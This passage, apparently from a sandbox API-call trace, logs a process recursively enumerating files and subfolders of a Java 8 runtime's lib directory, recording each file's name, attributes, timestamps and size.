cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 1 [0095.258] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3b40c, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="LucidaTypewriterRegular.ttf", cAlternateFileName="LUDBAB~1.TTF")) returned 0 [0095.258] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.260] GetProcessHeap () returned 0xc00000 [0095.260] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.260] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0095.260] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="images", cAlternateFileName="")) returned 1 [0095.260] GetProcessHeap () returned 0xc00000 [0095.260] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.262] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa12313ee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.262] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="cursors", cAlternateFileName="")) returned 1 [0095.262] GetProcessHeap () returned 0xc00000 [0095.262] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0095.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e9220 [0095.277] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x37e9220, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 0 [0095.279] FindClose (in: hFindFile=0x37e9220 | out: hFindFile=0x37e9220) returned 1 [0095.281] GetProcessHeap () returned 0xc00000 [0095.281] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0095.281] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="cursors", cAlternateFileName="")) returned 0 [0095.281] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.281] GetProcessHeap () returned 0xc00000 [0095.281] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.284] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0095.285] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0095.285] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0095.285] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jfr", cAlternateFileName="")) returned 1 [0095.285] GetProcessHeap () returned 0xc00000 [0095.285] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.572] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.572] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0095.572] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0095.572] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0095.572] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.572] GetProcessHeap () returned 0xc00000 [0095.572] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.572] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0095.572] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0095.573] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0095.573] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0095.573] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0095.573] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0095.573] GetProcessHeap () returned 0xc00000 [0095.573] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0095.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0095.577] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0095.577] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0095.578] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0095.578] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0095.578] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0095.578] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0095.578] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0095.579] GetProcessHeap () returned 0xc00000 [0095.579] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0095.579] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0095.579] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, 